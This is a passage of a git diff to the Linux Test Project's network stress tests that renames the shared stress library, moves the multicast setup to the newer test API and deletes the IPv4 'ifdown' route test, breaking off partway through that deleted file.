+++ b/testcases/network/stress/multicast/grp-operation/mcast-lib.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) International Business Machines  Corp., 2006
-# Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -19,16 +19,11 @@
 #
 # Setup script for multicast stress tests.
 
-TST_TOTAL=1
+TST_SETUP="do_setup"
 TST_CLEANUP="mcast_cleanup"
-
-. test_net_stress.sh
-
-MCAST_LCMD="ns-mcast_join -f $ipver -I $(tst_iface)"
-
-MCAST_RCMD="ns-igmp_querier"
-[ "$TST_IPV6" ] && MCAST_RCMD="ns-icmpv6_sender"
-MCAST_RCMD="$MCAST_RCMD -I $(tst_iface rhost)"
+TST_TESTFUNC="do_test"
+TST_NEEDS_TMPDIR=1
+. tst_net_stress.sh
 
 mcast_setup4()
 {
@@ -39,13 +34,13 @@
 	SYSFS_FORCE_IGMP_VERSION=$(sysctl -b net.ipv4.conf.$(tst_iface).force_igmp_version)
 	SYSFS_ALL_FORCE_IGMP_VERSION=$(sysctl -b net.ipv4.conf.all.force_igmp_version)
 
-	[ "$igmp_max_memberships" -gt 5459 ] && tst_resm TWARN \
+	[ "$igmp_max_memberships" -gt 5459 ] && tst_res TWARN \
 		"\$1 shouldn't be set higher than 5459 as it's used to set /proc/sys/net/ipv4/igmp_max_memberships"
 
-	ROD sysctl -qw net.ipv4.igmp_max_memberships=$igmp_max_memberships
-	ROD sysctl -qw net.ipv4.igmp_max_msf=10
-	ROD sysctl -qw net.ipv4.conf.$(tst_iface).force_igmp_version=0
-	ROD sysctl -qw net.ipv4.conf.all.force_igmp_version=0
+	ROD sysctl -q -w net.ipv4.igmp_max_memberships=$igmp_max_memberships
+	ROD sysctl -q -w net.ipv4.igmp_max_msf=10
+	ROD sysctl -q -w net.ipv4.conf.$(tst_iface).force_igmp_version=0
+	ROD sysctl -q -w net.ipv4.conf.all.force_igmp_version=0
 }
 
 mcast_setup6()
@@ -57,34 +52,39 @@
 	SYSCTL_FORCE_MLD_VERSION=$(sysctl -b net.ipv6.conf.$(tst_iface).force_mld_version)
 	SYSCTL_MLD_MAX_MSF=$(sysctl -b net.ipv6.mld_max_msf)
 
-	ROD sysctl -qw net.ipv6.conf.all.force_mld_version=0
-	ROD sysctl -qw net.ipv6.conf.$(tst_iface).force_mld_version=0
-	ROD sysctl -qw net.ipv6.mld_max_msf=$default_mld_max_msf
+	ROD sysctl -q -w net.ipv6.conf.all.force_mld_version=0
+	ROD sysctl -q -w net.ipv6.conf.$(tst_iface).force_mld_version=0
+	ROD sysctl -q -w net.ipv6.mld_max_msf=$default_mld_max_msf
 }
 
 mcast_setup()
 {
 	local max="$1"
 
+	MCAST_LCMD="ns-mcast_join -f $TST_IPVER -I $(tst_iface)"
+
+	local cmd="ns-igmp_querier"
+	[ "$TST_IPV6" ] && cmd="ns-icmpv6_sender"
+	MCAST_RCMD="$cmd -I $(tst_iface rhost)"
+
 	netstress_setup
-	tst_tmpdir
 
 	[ "$TST_IPV6" ] && mcast_setup6 || mcast_setup4 $max
 }
 
 mcast_cleanup4()
 {
-	[ -n "$SYSFS_IGMP_MAX_MEMBERSHIPS" ] && sysctl -qw net.ipv4.igmp_max_memberships=$SYSFS_IGMP_MAX_MEMBERSHIPS
-	[ -n "$SYSFS_IGMP_MAX_MSF" ] && sysctl -qw net.ipv4.igmp_max_msf=$SYSFS_IGMP_MAX_MSF
-	[ -n "$SYSFS_FORCE_IGMP_VERSION" ] && sysctl -qw net.ipv4.conf.$(tst_iface).force_igmp_version=$SYSFS_FORCE_IGMP_VERSION
-	[ -n "$SYSFS_ALL_FORCE_IGMP_VERSION" ] && sysctl -qw net.ipv4.conf.all.force_igmp_version=$SYSFS_ALL_FORCE_IGMP_VERSION
+	[ -n "$SYSFS_IGMP_MAX_MEMBERSHIPS" ] && sysctl -q -w net.ipv4.igmp_max_memberships=$SYSFS_IGMP_MAX_MEMBERSHIPS
+	[ -n "$SYSFS_IGMP_MAX_MSF" ] && sysctl -q -w net.ipv4.igmp_max_msf=$SYSFS_IGMP_MAX_MSF
+	[ -n "$SYSFS_FORCE_IGMP_VERSION" ] && sysctl -q -w net.ipv4.conf.$(tst_iface).force_igmp_version=$SYSFS_FORCE_IGMP_VERSION
+	[ -n "$SYSFS_ALL_FORCE_IGMP_VERSION" ] && sysctl -q -w net.ipv4.conf.all.force_igmp_version=$SYSFS_ALL_FORCE_IGMP_VERSION
 }
 
 mcast_cleanup6()
 {
-	[ -n "$SYSCTL_ALL_FORCE_MLD_VERSION" ] && sysctl -qw net.ipv6.conf.all.force_mld_version=$SYSCTL_ALL_FORCE_MLD_VERSION
-	[ -n "$SYSCTL_FORCE_MLD_VERSION" ] && sysctl -qw net.ipv6.conf.$(tst_iface).force_mld_version=$SYSCTL_FORCE_MLD_VERSION
-	[ -n "$SYSCTL_MLD_MAX_MSF" ] && sysctl -qw net.ipv6.mld_max_msf=$SYSCTL_MLD_MAX_MSF
+	[ -n "$SYSCTL_ALL_FORCE_MLD_VERSION" ] && sysctl -q -w net.ipv6.conf.all.force_mld_version=$SYSCTL_ALL_FORCE_MLD_VERSION
+	[ -n "$SYSCTL_FORCE_MLD_VERSION" ] && sysctl -q -w net.ipv6.conf.$(tst_iface).force_mld_version=$SYSCTL_FORCE_MLD_VERSION
+	[ -n "$SYSCTL_MLD_MAX_MSF" ] && sysctl -q -w net.ipv6.mld_max_msf=$SYSCTL_MLD_MAX_MSF
 }
 
 mcast_cleanup()
@@ -110,7 +110,7 @@
 	# Run a multicast join tool
 	tmpfile=$$
 	EXPECT_PASS $MCAST_LCMD $param_multi_socket -n $num -p $mprefix \> $tmpfile
-	tst_resm TINFO "joined $(grep groups $tmpfile)"
+	tst_res TINFO "joined $(grep groups $tmpfile)"
 
 	# Send MLD / IGMP General Query from the remote host
 	if [ "$TST_IPV6" ]; then
@@ -150,5 +150,5 @@
 
 	wait
 
-	tst_resm TPASS "test is finished successfully"
+	tst_res TPASS "test is finished successfully"
 }
diff --git a/testcases/network/stress/multicast/packet-flood/mcast4-pktfld01 b/testcases/network/stress/multicast/packet-flood/mcast4-pktfld01
index 17371ed..c1ee513 100644
--- a/testcases/network/stress/multicast/packet-flood/mcast4-pktfld01
+++ b/testcases/network/stress/multicast/packet-flood/mcast4-pktfld01
@@ -29,7 +29,7 @@
 #   a single socket, then receiving a large number of UDP packets at the socket
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/packet-flood/mcast4-pktfld02 b/testcases/network/stress/multicast/packet-flood/mcast4-pktfld02
index 52eba27..b3b6134 100644
--- a/testcases/network/stress/multicast/packet-flood/mcast4-pktfld02
+++ b/testcases/network/stress/multicast/packet-flood/mcast4-pktfld02
@@ -30,7 +30,7 @@
 #   the each socket
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/packet-flood/mcast6-pktfld01 b/testcases/network/stress/multicast/packet-flood/mcast6-pktfld01
index cd12567..e9d932b 100644
--- a/testcases/network/stress/multicast/packet-flood/mcast6-pktfld01
+++ b/testcases/network/stress/multicast/packet-flood/mcast6-pktfld01
@@ -29,7 +29,7 @@
 #   a single socket, then receiving a large number of UDP packets at the socket
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/packet-flood/mcast6-pktfld02 b/testcases/network/stress/multicast/packet-flood/mcast6-pktfld02
index 012da86..e8187b1 100644
--- a/testcases/network/stress/multicast/packet-flood/mcast6-pktfld02
+++ b/testcases/network/stress/multicast/packet-flood/mcast6-pktfld02
@@ -30,7 +30,7 @@
 #   the each socket
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/query-flood/mcast4-queryfld01 b/testcases/network/stress/multicast/query-flood/mcast4-queryfld01
index 67c2c83..992cf42 100644
--- a/testcases/network/stress/multicast/query-flood/mcast4-queryfld01
+++ b/testcases/network/stress/multicast/query-flood/mcast4-queryfld01
@@ -29,7 +29,7 @@
 #   on a single socket, then receiving a large number of General Query
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/query-flood/mcast4-queryfld02 b/testcases/network/stress/multicast/query-flood/mcast4-queryfld02
index b11e003..b731e02 100644
--- a/testcases/network/stress/multicast/query-flood/mcast4-queryfld02
+++ b/testcases/network/stress/multicast/query-flood/mcast4-queryfld02
@@ -30,7 +30,7 @@
 #   Specific Query
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/query-flood/mcast4-queryfld03 b/testcases/network/stress/multicast/query-flood/mcast4-queryfld03
index 511045a..568178b 100644
--- a/testcases/network/stress/multicast/query-flood/mcast4-queryfld03
+++ b/testcases/network/stress/multicast/query-flood/mcast4-queryfld03
@@ -30,7 +30,7 @@
 #   and Source Specific Query
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/query-flood/mcast4-queryfld04 b/testcases/network/stress/multicast/query-flood/mcast4-queryfld04
index f40318d..f89393f 100644
--- a/testcases/network/stress/multicast/query-flood/mcast4-queryfld04
+++ b/testcases/network/stress/multicast/query-flood/mcast4-queryfld04
@@ -29,7 +29,7 @@
 #   groups on separate socket, then receiving a large number of General Query
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/query-flood/mcast4-queryfld05 b/testcases/network/stress/multicast/query-flood/mcast4-queryfld05
index dfae3fa..6d73027 100644
--- a/testcases/network/stress/multicast/query-flood/mcast4-queryfld05
+++ b/testcases/network/stress/multicast/query-flood/mcast4-queryfld05
@@ -30,7 +30,7 @@
 #   Multicast Address Specific Query
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/query-flood/mcast4-queryfld06 b/testcases/network/stress/multicast/query-flood/mcast4-queryfld06
index 81157de..b451620 100644
--- a/testcases/network/stress/multicast/query-flood/mcast4-queryfld06
+++ b/testcases/network/stress/multicast/query-flood/mcast4-queryfld06
@@ -30,7 +30,7 @@
 #   Multicast Address and Source Specific Query
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/query-flood/mcast6-queryfld01 b/testcases/network/stress/multicast/query-flood/mcast6-queryfld01
index 7be33bb..8c09d48 100644
--- a/testcases/network/stress/multicast/query-flood/mcast6-queryfld01
+++ b/testcases/network/stress/multicast/query-flood/mcast6-queryfld01
@@ -29,7 +29,7 @@
 #   group on a single socket, then receiving a large number of General Query
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/query-flood/mcast6-queryfld02 b/testcases/network/stress/multicast/query-flood/mcast6-queryfld02
index c4fc38e..17cdae7 100644
--- a/testcases/network/stress/multicast/query-flood/mcast6-queryfld02
+++ b/testcases/network/stress/multicast/query-flood/mcast6-queryfld02
@@ -30,7 +30,7 @@
 #   Specific Query
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/query-flood/mcast6-queryfld03 b/testcases/network/stress/multicast/query-flood/mcast6-queryfld03
index abadd6f..bac7726 100644
--- a/testcases/network/stress/multicast/query-flood/mcast6-queryfld03
+++ b/testcases/network/stress/multicast/query-flood/mcast6-queryfld03
@@ -30,7 +30,7 @@
 #   and Source Specific Query
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/query-flood/mcast6-queryfld04 b/testcases/network/stress/multicast/query-flood/mcast6-queryfld04
index 39087b1..cd56d4b 100644
--- a/testcases/network/stress/multicast/query-flood/mcast6-queryfld04
+++ b/testcases/network/stress/multicast/query-flood/mcast6-queryfld04
@@ -29,7 +29,7 @@
 #   groups on separate socket, then receiving a large number of General Query
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/query-flood/mcast6-queryfld05 b/testcases/network/stress/multicast/query-flood/mcast6-queryfld05
index dd331d7..84c2ee1 100644
--- a/testcases/network/stress/multicast/query-flood/mcast6-queryfld05
+++ b/testcases/network/stress/multicast/query-flood/mcast6-queryfld05
@@ -30,7 +30,7 @@
 #   Multicast Address Specific Query
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/multicast/query-flood/mcast6-queryfld06 b/testcases/network/stress/multicast/query-flood/mcast6-queryfld06
index 5e07588..d94a78e 100644
--- a/testcases/network/stress/multicast/query-flood/mcast6-queryfld06
+++ b/testcases/network/stress/multicast/query-flood/mcast6-queryfld06
@@ -30,7 +30,7 @@
 #   Multicast Address and Source Specific Query
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/ns-tools/Makefile b/testcases/network/stress/ns-tools/Makefile
index 1c186b2..49a0523 100644
--- a/testcases/network/stress/ns-tools/Makefile
+++ b/testcases/network/stress/ns-tools/Makefile
@@ -29,7 +29,7 @@
 			   check_icmpv6_connectivity check_netem check_setkey \
 			   create_file find_portbundle killall_icmp_traffic \
 			   killall_tcp_traffic killall_udp_traffic output_ipsec_conf \
-			   ns-echoclient test_net_stress.sh
+			   ns-echoclient tst_net_stress.sh
 
 FILTER_OUT_MAKE_TARGETS	:= ns-common
 
diff --git a/testcases/network/stress/ns-tools/ns-udpserver.c b/testcases/network/stress/ns-tools/ns-udpserver.c
index b373edd..b4bacf6 100644
--- a/testcases/network/stress/ns-tools/ns-udpserver.c
+++ b/testcases/network/stress/ns-tools/ns-udpserver.c
@@ -138,7 +138,7 @@
  * Return value:
  *  None
  */
-void respond_to_client(sock_fd)
+void respond_to_client(int sock_fd)
 {
 	char *msgbuf;		/* Pointer to the message */
 	size_t msgbuf_size;	/* size of msgbuf */
diff --git a/testcases/network/stress/ns-tools/test_net_stress.sh b/testcases/network/stress/ns-tools/test_net_stress.sh
deleted file mode 100644
index 77f5797..0000000
--- a/testcases/network/stress/ns-tools/test_net_stress.sh
+++ /dev/null
@@ -1,126 +0,0 @@
-#!/bin/sh
-# Copyright (c) International Business Machines  Corp., 2006
-# Copyright (c) 2015-2017 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
-# Author: Petr Vorel <pvorel@suse.cz>
-# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
-#
-# Library for all network/stress/ tests.
-# NOTE: More information about network variables can be found
-# in test_net.sh and testcases/network/stress/README.
-
-export TCID="${TCID:-$(basename $0)}"
-
-. test_net.sh
-
-ipver=${TST_IPV6:-4}
-
-# Netmask of for the tested network
-IPV4_NETMASK="255.255.255.0"
-IPV4_NETMASK_NUM=24
-
-# Multicast address and it's prefix
-MCAST_IPV4_ADDR_PREFIX="224.10"
-MCAST_IPV4_ADDR="${MCAST_IPV4_ADDR_PREFIX}.10.1"
-MCAST_IPV6_ADDR_PREFIX="ff0e::1111"
-MCAST_IPV6_ADDR="${MCAST_IPV6_ADDR_PREFIX}:1"
-
-# Setup for tests using netstress.
-netstress_setup()
-{
-	tst_require_root
-	tst_check_cmds ip pgrep pkill
-	trap "tst_brkm TBROK 'test interrupted'" INT
-}
-
-# Cleanup for tests using netstress.
-netstress_cleanup()
-{
-	# Stop the background TCP traffic
-	pkill -13 -x netstress
-	tst_rhost_run -c "pkill -13 -x netstress"
-}
-
-# restore_ipaddr [TYPE] [LINK] [LOCAL_IFACE] [REMOTE_IFACE]
-# TYPE: { lhost | rhost }; Default value is 'lhost'.
-# LINK: link number starting from 0. Default value is '0'.
-# LOCAL_IFACE: local iface name.
-# REMOTE_IFACE: local iface name.
-restore_ipaddr()
-{
-	local type="${1:-lhost}"
-	local link_num="${2:-0}"
-	local iface_loc=${3:-$(tst_iface lhost $link_num)}
-	local iface_rmt=${4:-$(tst_iface rhost $link_num)}
-
-	tst_restore_ipaddr $type $link_num || return $?
-	[ $type = "lhost" ] && tst_wait_ipv6_dad $iface_loc $iface_rmt
-}
-
-# Check connectivity with tst_ping.
-# check_connectivity SRC_IFACE DST_ADDR [CNT]
-# SRC_IFACE: source interface name.
-# DST_ADDR: destination IPv4 or IPv6 address.
-# CNT: loop step.
-check_connectivity()
-{
-	local src_iface="${1}"
-	local dst_addr="${2}"
-	local cnt="${3:-}"
-	local cnt_msg
-
-	[ -n "$cnt" ] && cnt_msg=" (step $cnt)"
-
-	tst_resm TINFO "ping through $src_iface iface to ${dst_addr}$cnt_msg"
-
-	tst_ping $src_iface $dst_addr
-}
-
-# check_connectivity_interval CNT [RESTORE] [SRC_IFACE] [DST_ADDR]
-# CNT: loop step.
-# RESTORE: whether restore ip addr.
-# SRC_IFACE: source interface name.
-# DST_ADDR: destination IPv4 or IPv6 address.
-check_connectivity_interval()
-{
-	local cnt="$1"
-	local restore="${2:-false}"
-	local src_iface="${3:-$(tst_iface)}"
-	local dst_addr="${4:-$(tst_ipaddr rhost)}"
-
-	[ $CHECK_INTERVAL -eq 0 ] && return
-
-	[ $(($cnt % $CHECK_INTERVAL)) -ne 0 ] && return
-
-	[ "$restore" != "false" ] && restore_ipaddr
-
-	check_connectivity $src_iface $dst_addr $cnt
-}
-
-# Run netstress process on both lhost and rhost.
-# make_background_tcp_traffic [IP]
-# IP: server IP; Default value is $(tst_ipaddr).
-make_background_tcp_traffic()
-{
-	pgrep -x netstress > /dev/null && return
-
-	local ip="${1:-$(tst_ipaddr)}"
-	local port=$(tst_get_unused_port ipv${ipver} stream)
-
-	netstress -R 3 -g $port > /dev/null 2>&1 &
-	tst_rhost_run -b -c "netstress -l -H $ip -g $port"
-}
diff --git a/testcases/network/stress/ns-tools/tst_net_stress.sh b/testcases/network/stress/ns-tools/tst_net_stress.sh
new file mode 100644
index 0000000..66c1ffb
--- /dev/null
+++ b/testcases/network/stress/ns-tools/tst_net_stress.sh
@@ -0,0 +1,137 @@
+#!/bin/sh
+# Copyright (c) 2017-2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2015-2017 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2006
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Petr Vorel <pvorel@suse.cz>
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+#
+# Library for all network/stress/ tests.
+# NOTE: More information about network variables can be found
+# in tst_net.sh and testcases/network/stress/README.
+
+. tst_net.sh
+
+# Netmask of for the tested network
+IPV4_NETMASK="255.255.255.0"
+IPV4_NETMASK_NUM=24
+
+# Multicast address and it's prefix
+MCAST_IPV4_ADDR_PREFIX="224.10"
+MCAST_IPV4_ADDR="${MCAST_IPV4_ADDR_PREFIX}.10.1"
+MCAST_IPV6_ADDR_PREFIX="ff0e::1111"
+MCAST_IPV6_ADDR="${MCAST_IPV6_ADDR_PREFIX}:1"
+
+# Setup for tests using netstress.
+netstress_setup()
+{
+	TST_NEEDS_ROOT=1
+	tst_test_cmds pgrep pkill
+}
+
+# Cleanup for tests using netstress.
+netstress_cleanup()
+{
+	# Stop the background TCP traffic
+	pkill -13 -x netstress
+	tst_rhost_run -c "pkill -13 -x netstress"
+}
+
+# restore_ipaddr [TYPE] [LINK] [LOCAL_IFACE] [REMOTE_IFACE]
+# TYPE: { lhost | rhost }; Default value is 'lhost'.
+# LINK: link number starting from 0. Default value is '0'.
+# LOCAL_IFACE: local iface name.
+# REMOTE_IFACE: local iface name.
+restore_ipaddr()
+{
+	local type="${1:-lhost}"
+	local link_num="${2:-0}"
+	local iface_loc=${3:-$(tst_iface lhost $link_num)}
+	local iface_rmt=${4:-$(tst_iface rhost $link_num)}
+
+	tst_restore_ipaddr $type $link_num || return $?
+	[ $type = "lhost" ] && tst_wait_ipv6_dad $iface_loc $iface_rmt
+}
+
+# Check connectivity with tst_ping.
+# check_connectivity SRC_IFACE DST_ADDR [CNT]
+# SRC_IFACE: source interface name.
+# DST_ADDR: destination IPv4 or IPv6 address.
+# CNT: loop step.
+check_connectivity()
+{
+	local src_iface="${1}"
+	local dst_addr="${2}"
+	local cnt="${3:-}"
+	local cnt_msg
+
+	[ -n "$cnt" ] && cnt_msg=" (step $cnt)"
+
+	tst_res TINFO "ping through $src_iface iface to ${dst_addr}$cnt_msg"
+
+	tst_ping $src_iface $dst_addr
+}
+
+# check_connectivity_interval CNT [RESTORE] [SRC_IFACE] [DST_ADDR]
+# CNT: loop step.
+# RESTORE: whether restore ip addr.
+# SRC_IFACE: source interface name.
+# DST_ADDR: destination IPv4 or IPv6 address.
+check_connectivity_interval()
+{
+	local cnt="$1"
+	local restore="${2:-false}"
+	local src_iface="${3:-$(tst_iface)}"
+	local dst_addr="${4:-$(tst_ipaddr rhost)}"
+
+	[ $CHECK_INTERVAL -eq 0 ] && return
+
+	[ $(($cnt % $CHECK_INTERVAL)) -ne 0 ] && return
+
+	[ "$restore" != "false" ] && restore_ipaddr
+
+	check_connectivity $src_iface $dst_addr $cnt
+}
+
+# Run netstress process on both lhost and rhost.
+# make_background_tcp_traffic [IP]
+# IP: server IP; Default value is $(tst_ipaddr).
+make_background_tcp_traffic()
+{
+	pgrep -x netstress > /dev/null && return
+
+	local ip="${1:-$(tst_ipaddr)}"
+	local port=$(tst_get_unused_port ipv${TST_IPVER} stream)
+
+	netstress -R 3 -g $port > /dev/null 2>&1 &
+	tst_rhost_run -b -c "netstress -l -H $ip -g $port"
+}
+
+test_if_ip()
+{
+	case $1 in
+	1) test_body 'if_cmd';;
+	2) test_body 'ip_cmd';;
+	esac
+}
+
+test_rt_ip()
+{
+	case $1 in
+	1) test_body 'rt_cmd';;
+	2) test_body 'ip_cmd';;
+	esac
+}
diff --git a/testcases/network/stress/route/00_Descriptions.txt b/testcases/network/stress/route/00_Descriptions.txt
index 9bcbc5f..2a871fd 100644
--- a/testcases/network/stress/route/00_Descriptions.txt
+++ b/testcases/network/stress/route/00_Descriptions.txt
@@ -26,14 +26,6 @@
 	Verify the kernel is not crashed when the IPv4 route is modified by
 	ICMP Redirects frequently
 
-route4-ifdown01
-	Verify the kernel is not crashed when IPv4 route is add by route command
-	then it is deleted by the interface down with ifconfig command
-
-route4-ifdown02
-	Verify the kernel is not crashed when IPv4 route is add by ip command
-	then it is deleted by the interface down with ip command
-
 route4-rmmod01
 	Verify the kernel is not crashed when IPv4 route is add by route command
 	then it is deleted by the removing network driver
@@ -71,14 +63,6 @@
 	Verify the kernel is not crashed when the IPv6 route is modified by
 	ICMP Redirects frequently
 
-route6-ifdown01
-	Verify the kernel is not crashed when IPv6 route is add by route command
-	then it is deleted by the interface down with ifconfig command
-
-route6-ifdown02
-	Verify the kernel is not crashed when IPv6 route is add by ip command
-	then it is deleted by the interface down with ip command
-
 route6-rmmod01
 	Verify the kernel is not crashed when IPv6 route is add by route command
 	then it is deleted by the removing network driver
diff --git a/testcases/network/stress/route/route4-change-dst b/testcases/network/stress/route/route4-change-dst
index 3c85555..8ec6061 100644
--- a/testcases/network/stress/route/route4-change-dst
+++ b/testcases/network/stress/route/route4-change-dst
@@ -31,7 +31,7 @@
 #    test02 - by ip command
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
@@ -246,7 +246,7 @@
 	    ;;
 	esac
 	if [ $? -ne 0 ]; then
-	    tst_resm TFAIL "Cannot delte the route to ${ADDDEL_ROUTE}"
+	    tst_resm TFAIL "Cannot delete the route to ${ADDDEL_ROUTE}"
 	    return 1
 	fi
 
diff --git a/testcases/network/stress/route/route4-change-gw b/testcases/network/stress/route/route4-change-gw
index a9a91cc..791f98c 100644
--- a/testcases/network/stress/route/route4-change-gw
+++ b/testcases/network/stress/route/route4-change-gw
@@ -31,7 +31,7 @@
 #    test02 - by ip command
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/route/route4-change-if b/testcases/network/stress/route/route4-change-if
index 33fc375..8753203 100644
--- a/testcases/network/stress/route/route4-change-if
+++ b/testcases/network/stress/route/route4-change-if
@@ -31,7 +31,7 @@
 #    test02 - by ip command
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/route/route4-ifdown b/testcases/network/stress/route/route4-ifdown
deleted file mode 100644
index e7ce1b4..0000000
--- a/testcases/network/stress/route/route4-ifdown
+++ /dev/null
@@ -1,261 +0,0 @@
-#!/bin/sh
-
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2006                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-##                                                                            ##
-################################################################################
-#
-# File:
-#   route4-ifdown
-#
-# Description:
-#   Verify the kernel is not crashed when IPv4 route is add then it is deleted
-#   by the interface down
-#
-# Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
-#
-# Author:
-#   Mitsuru Chinen <mitch@jp.ibm.com>
-#
-# History:
-#	Apr 8 2006 - Created (Mitsuru Chinen)
-#
-#-----------------------------------------------------------------------
-# Uncomment line below for debug output.
-#trace_logic=${trace_logic:-"set -x"}
-$trace_logic
-
-# Make sure the value of LTPROOT
-LTPROOT=${LTPROOT:-`(cd ../../../../ ; pwd)`}
-export LTPROOT
-
-# Total number of the test case
-TST_TOTAL=2
-export TST_TOTAL
-
-# Default of the test case ID and the test case count
-TCID=route4-ifdown
-TST_COUNT=0
-export TCID
-export TST_COUNT
-
-# Check the environmanet variable
-. check_envval || exit $TST_TOTAL
-
-# The number of times where IPv4 route is add/delete
-NS_TIMES=${NS_TIMES:-10000}
-
-# The number of the test link where tests run
-LINK_NUM=${LINK_NUM:-0}
-
-# Network portion of the IPv4 address
-IPV4_NETWORK=${IPV4_NETWORK:-"10.0.0"}
-
-# Netmask of for the tested network
-IPV4_NETMASK="255.255.255.0"
-IPV4_NETMASK_NUM=24
-
-# Broadcast address of the tested network
-IPV4_BROADCAST=${IPV4_NETWORK}.255
-
-# Host portion of the IPv4 address
